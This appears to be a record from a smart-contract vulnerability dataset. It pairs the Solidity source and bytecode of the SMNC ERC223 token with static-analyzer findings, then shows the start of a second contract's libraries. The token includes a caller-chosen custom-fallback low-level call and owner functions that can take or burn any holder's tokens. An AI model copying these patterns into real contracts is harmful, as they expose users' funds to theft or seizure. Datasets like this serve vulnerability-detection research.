function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/*******************************************************************************/
/**
* @title SHIMIZUNC
* @author SHIMIZUNC MOLDOVA
* @dev SHIMIZUNC is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
/*******************************************************************************/
contract SMNC is ERC223, Ownable {
using SafeMath for uint256;
/*******************************************************************************/
//
// Definition of CryproCurrency
//
/*******************************************************************************/
string public name = "SHIMIZU NC MOLDOVA Ver.1.2021";
string public symbol = "SMNC";
uint8 public decimals = 8;
uint256 public initialSupply = 35e5 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
/*******************************************************************************/
//-----------------------------------------------------------------------------
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
constructor() public {
totalSupply = initialSupply;
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
emit FrozenFunds(targets[j], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
emit LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[msg.sender]
&& block.timestamp > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_custom_fallback))), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[msg.sender]
&& block.timestamp > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[msg.sender]
&& block.timestamp > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[_from]
&& block.timestamp > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
emit Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
emit Mint(_to, _unitAmount);
emit Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& block.timestamp > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& block.timestamp > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
emit Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& block.timestamp > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& block.timestamp > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
emit Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& block.timestamp > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
emit Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& block.timestamp > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
emit Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x6080604052600436106101505763ffffffff60e060020a60003504166305d2035b811461015a57806306fdde0314610183578063095ea7b31461020d57806318160ddd1461023157806323b872dd14610258578063313ce56714610282578063378dc3dc146102ad57806340c10f19146102c25780634f25eced146102e657806364ddc605146102fb57806370a08231146103895780637d64bcb4146103aa5780638da5cb5b146103bf57806394594625146103f057806395d89b41146104475780639dc29fac1461045c578063a8f11eb914610150578063a9059cbb14610480578063b414d4b6146104a4578063be45fd62146104c5578063c341b9f61461052e578063cbbe974b14610587578063d39b1d48146105a8578063dd62ed3e146105c0578063dd924594146105e7578063f0dc417114610675578063f2fde38b14610703578063f6368f8a14610724575b6101586107cb565b005b34801561016657600080fd5b5061016f610947565b604080519115158252519081900360200190f35b34801561018f57600080fd5b50610198610950565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d25781810151838201526020016101ba565b50505050905090810190601f1680156101ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021957600080fd5b5061016f600160a060020a03600435166024356109e3565b34801561023d57600080fd5b50610246610a4d565b60408051918252519081900360200190f35b34801561026457600080fd5b5061016f600160a060020a0360043581169060243516604435610a53565b34801561028e57600080fd5b50610297610c60565b6040805160ff9092168252519081900360200190f35b3480156102b957600080fd5b50610246610c69565b3480156102ce57600080fd5b5061016f600160a060020a0360043516602435610c6f565b3480156102f257600080fd5b50610246610d73565b34801561030757600080fd5b506040805160206004803580820135838102808601850190965280855261015895369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610d799650505050505050565b34801561039557600080fd5b50610246600160a060020a0360043516610ee1565b3480156103b657600080fd5b5061016f610efc565b3480156103cb57600080fd5b506103d4610f66565b60408051600160a060020a039092168252519081900360200190f35b3480156103fc57600080fd5b506040805160206004803580820135838102808601850190965280855261016f953695939460249493850192918291850190849080828437509497505093359450610f759350505050565b34801561045357600080fd5b50610198611213565b34801561046857600080fd5b50610158600160a060020a0360043516602435611274565b34801561048c57600080fd5b5061016f600160a060020a036004351660243561135d565b3480156104b057600080fd5b5061016f600160a060020a0360043516611432565b3480156104d157600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016f948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506114479650505050505050565b34801561053a57600080fd5b506040805160206004803580820135838102808601850190965280855261015895369593946024949385019291829185019084908082843750949750505050913515159250611512915050565b34801561059357600080fd5b50610246600160a060020a0360043516611620565b3480156105b457600080fd5b50610158600435611632565b3480156105cc57600080fd5b50610246600160a060020a0360043581169060243516611652565b3480156105f357600080fd5b506040805160206004803580820135838102808601850190965280855261016f95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061167d9650505050505050565b34801561068157600080fd5b506040805160206004803580820135838102808601850190965280855261016f95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061194b9650505050505050565b34801561070f57600080fd5b50610158600160a060020a0360043516611c38565b34801561073057600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016f948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750611cd19650505050505050565b60006007541180156107f95750600754600154600160a060020a031660009081526009602052604090205410155b801561081e5750600160a060020a0333166000908152600b602052604090205460ff16155b80156108415750600160a060020a0333166000908152600c602052604090205442115b151561084c57600080fd5b600034111561089057600154604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561088e573d6000803e3d6000fd5b505b600754600154600160a060020a03166000908152600960205260409020546108bd9163ffffffff61209c16565b600154600160a060020a039081166000908152600960205260408082209390935560075433909216815291909120546108fb9163ffffffff6120ae16565b600160a060020a03338116600081815260096020908152604091829020949094556001546007548251908152915192949316926000805160206124d683398151915292918290030190a3565b60085460ff1681565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109d95780601f106109ae576101008083540402835291602001916109d9565b820191906000526020600020905b8154815290600101906020018083116109bc57829003601f168201915b5050505050905090565b600160a060020a033381166000818152600a6020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60065490565b6000600160a060020a03831615801590610a6d5750600082115b8015610a915750600160a060020a0384166000908152600960205260409020548211155b8015610ac35750600160a060020a038085166000908152600a6020908152604080832033909416835292905220548211155b8015610ae85750600160a060020a0384166000908152600b602052604090205460ff16155b8015610b0d5750600160a060020a0383166000908152600b602052604090205460ff16155b8015610b305750600160a060020a0384166000908152600c602052604090205442115b8015610b535750600160a060020a0383166000908152600c602052604090205442115b1515610b5e57600080fd5b600160a060020a038416600090815260096020526040902054610b87908363ffffffff61209c16565b600160a060020a038086166000908152600960205260408082209390935590851681522054610bbc908363ffffffff6120ae16565b600160a060020a038085166000908152600960209081526040808320949094558783168252600a8152838220339093168252919091522054610c04908363ffffffff61209c16565b600160a060020a038086166000818152600a60209081526040808320338616845282529182902094909455805186815290519287169391926000805160206124d6833981519152929181900390910190a35060015b9392505050565b60045460ff1690565b60055481565b60015460009033600160a060020a03908116911614610c8d57600080fd5b60085460ff1615610c9d57600080fd5b60008211610caa57600080fd5b600654610cbd908363ffffffff6120ae16565b600655600160a060020a038316600090815260096020526040902054610ce9908363ffffffff6120ae16565b600160a060020a038416600081815260096020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206124d68339815191529181900360200190a350600192915050565b60075481565b60015460009033600160a060020a03908116911614610d9757600080fd5b60008351118015610da9575081518351145b1515610db457600080fd5b5060005b8251811015610edc578181815181101515610dcf57fe5b90602001906020020151600c60008584815181101515610deb57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205410610e1857600080fd5b8181815181101515610e2657fe5b90602001906020020151600c60008584815181101515610e4257fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558251839082908110610e7357fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c15778383815181101515610eb557fe5b906020019060200201516040518082815260200191505060405180910390a2600101610db8565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610f1a57600080fd5b60085460ff1615610f2a57600080fd5b6008805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600154600160a060020a031681565b60008060008084118015610f8a575060008551115b8015610faf5750600160a060020a0333166000908152600b602052604090205460ff16155b8015610fd25750600160a060020a0333166000908152600c602052604090205442115b1515610fdd57600080fd5b610ff1846305f5e10063ffffffff6120bd16565b93506110078551856120bd90919063ffffffff16565b600160a060020a03331660009081526009602052604090205490925082111561102f57600080fd5b5060005b84518110156111c657848181518110151561104a57fe5b90602001906020020151600160a060020a03166000141580156110a25750600b6000868381518110151561107a57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156110e95750600c600086838151811015156110bb57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156110f457600080fd5b6111398460096000888581518110151561110a57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6120ae16565b60096000878481518110151561114b57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061117c57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206124d6833981519152866040518082815260200191505060405180910390a3600101611033565b600160a060020a0333166000908152600960205260409020546111ef908363ffffffff61209c16565b33600160a060020a0316600090815260096020526040902055506001949350505050565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109d95780601f106109ae576101008083540402835291602001916109d9565b60015433600160a060020a0390811691161461128f57600080fd5b6000811180156112b75750600160a060020a0382166000908152600960205260409020548111155b15156112c257600080fd5b600160a060020a0382166000908152600960205260409020546112eb908263ffffffff61209c16565b600160a060020a038316600090815260096020526040902055600654611317908263ffffffff61209c16565b600655604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b6000606060008311801561138a5750600160a060020a0333166000908152600b602052604090205460ff16155b80156113af5750600160a060020a0384166000908152600b602052604090205460ff16155b80156113d25750600160a060020a0333166000908152600c602052604090205442115b80156113f55750600160a060020a0384166000908152600c602052604090205442115b151561140057600080fd5b611409846120e8565b15611420576114198484836120f0565b915061142b565b611419848483612358565b5092915050565b600b6020526000908152604090205460ff1681565b600080831180156114715750600160a060020a0333166000908152600b602052604090205460ff16155b80156114965750600160a060020a0384166000908152600b602052604090205460ff16155b80156114b95750600160a060020a0333166000908152600c602052604090205442115b80156114dc5750600160a060020a0384166000908152600c602052604090205442115b15156114e757600080fd5b6114f0846120e8565b15611507576115008484846120f0565b9050610c59565b611500848484612358565b60015460009033600160a060020a0390811691161461153057600080fd5b825160001061153e57600080fd5b5060005b8251811015610edc57828181518110151561155957fe5b60209081029091010151600160a060020a0316151561157757600080fd5b81600b6000858481518110151561158a57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff191691151591909117905582518390829081106115ca57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a2600101611542565b600c6020526000908152604090205481565b60015433600160a060020a0390811691161461164d57600080fd5b600755565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b6000806000808551118015611693575083518551145b80156116b85750600160a060020a0333166000908152600b602052604090205460ff16155b80156116db5750600160a060020a0333166000908152600c602052604090205442115b15156116e657600080fd5b5060009050805b8451811015611848576000848281518110151561170657fe5b9060200190602002015111801561173e5750848181518110151561172657fe5b90602001906020020151600160a060020a0316600014155b801561177f5750600b6000868381518110151561175757fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156117c65750600c6000868381518110151561179857fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156117d157600080fd5b6117fd6305f5e10085838151811015156117e757fe5b602090810290910101519063ffffffff6120bd16565b848281518110151561180b57fe5b60209081029091010152835161183e9085908390811061182757fe5b60209081029091010151839063ffffffff6120ae16565b91506001016116ed565b600160a060020a03331660009081526009602052604090205482111561186d57600080fd5b5060005b84518110156111c6576118a7848281518110151561188b57fe5b9060200190602002015160096000888581518110151561110a57fe5b6009600087848151811015156118b957fe5b6020908102909101810151600160a060020a031682528101919091526040016000205584518590829081106118ea57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206124d6833981519152868481518110151561192457fe5b906020019060200201516040518082815260200191505060405180910390a3600101611871565b6001546000908190819033600160a060020a0390811691161461196d57600080fd5b6000855111801561197f575083518551145b151561198a57600080fd5b5060009050805b8451811015611c0f57600084828151811015156119aa57fe5b906020019060200201511180156119e2575084818151811015156119ca57fe5b90602001906020020151600160a060020a0316600014155b8015611a235750600b600086838151811015156119fb57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b8015611a6a5750600c60008683815181101515611a3c57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515611a7557600080fd5b611a8b6305f5e10085838151811015156117e757fe5b8482815181101515611a9957fe5b602090810290910101528351849082908110611ab157fe5b90602001906020020151600960008784815181101515611acd57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020541015611afb57600080fd5b611b578482815181101515611b0c57fe5b90602001906020020151600960008885815181101515611b2857fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61209c16565b600960008784815181101515611b6957fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558351611b9e9085908390811061182757fe5b915033600160a060020a03168582815181101515611bb857fe5b90602001906020020151600160a060020a03166000805160206124d68339815191528684815181101515611be857fe5b906020019060200201516040518082815260200191505060405180910390a3600101611991565b600160a060020a0333166000908152600960205260409020546111ef908363ffffffff6120ae16565b60015433600160a060020a03908116911614611c5357600080fd5b600160a060020a0381161515611c6857600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611cfb5750600160a060020a0333166000908152600b602052604090205460ff16155b8015611d205750600160a060020a0385166000908152600b602052604090205460ff16155b8015611d435750600160a060020a0333166000908152600c602052604090205442115b8015611d665750600160a060020a0385166000908152600c602052604090205442115b1515611d7157600080fd5b611d7a856120e8565b1561208657600160a060020a033316600090815260096020526040902054841115611da457600080fd5b600160a060020a033316600090815260096020526040902054611dcd908563ffffffff61209c16565b600160a060020a033381166000908152600960205260408082209390935590871681522054611e02908563ffffffff6120ae16565b6009600087600160a060020a0316600160a060020a031681526020019081526020016000208190555084600160a060020a03166000836040516020018082805190602001908083835b60208310611e6a5780518252601f199092019160209182019101611e4b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310611ecd5780518252601f199092019160209182019101611eae565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611f5f578181015183820152602001611f47565b50505050905090810190601f168015611f8c5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611fac57fe5b826040518082805190602001908083835b60208310611fdc5780518252601f199092019160209182019101611fbd565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b811695503316937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a484600160a060020a031633600160a060020a03166000805160206124d6833981519152866040518082815260200191505060405180910390a3506001612094565b612091858585612358565b90505b949350505050565b6000828211156120a857fe5b50900390565b600082820183811015610c5957fe5b6000808315156120d0576000915061142b565b508282028284828115156120e057fe5b0414610c5957fe5b6000903b1190565b600160a060020a033316600090815260096020526040812054819084111561211757600080fd5b600160a060020a033316600090815260096020526040902054612140908563ffffffff61209c16565b600160a060020a033381166000908152600960205260408082209390935590871681522054612175908563ffffffff6120ae16565b600160a060020a0380871660008181526009602090815260408083209590955593517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523393841660048201908152602482018a90526060604483019081528951606484015289518c9850949663c0ee0b8a96958c958c9560840192860191908190849084905b838110156122155781810151838201526020016121fd565b50505050905090810190601f1680156122425780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561226357600080fd5b505af1158015612277573d6000803e3d6000fd5b50505050826040518082805190602001908083835b602083106122ab5780518252601f19909201916020918201910161228c565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b811695503316937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a484600160a060020a031633600160a060020a03166000805160206124d6833981519152866040518082815260200191505060405180910390a3506001949350505050565b600160a060020a03331660009081526009602052604081205483111561237d57600080fd5b600160a060020a0333166000908152600960205260409020546123a6908463ffffffff61209c16565b600160a060020a0333811660009081526009602052604080822093909355908616815220546123db908463ffffffff6120ae16565b600160a060020a0385166000908152600960209081526040918290209290925551835184928291908401908083835b602083106124295780518252601f19909201916020918201910161240a565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a811695503316937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a483600160a060020a031633600160a060020a03166000805160206124d6833981519152856040518082815260200191505060405180910390a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582047cd36c01eabb7cf2e0c2f3c70e6d5d404c4f6e5a9862c19a92ba1271964de2a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,910 |
0xd188067740e6cd02d47486803c5f7c0c7a7b5f5d
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
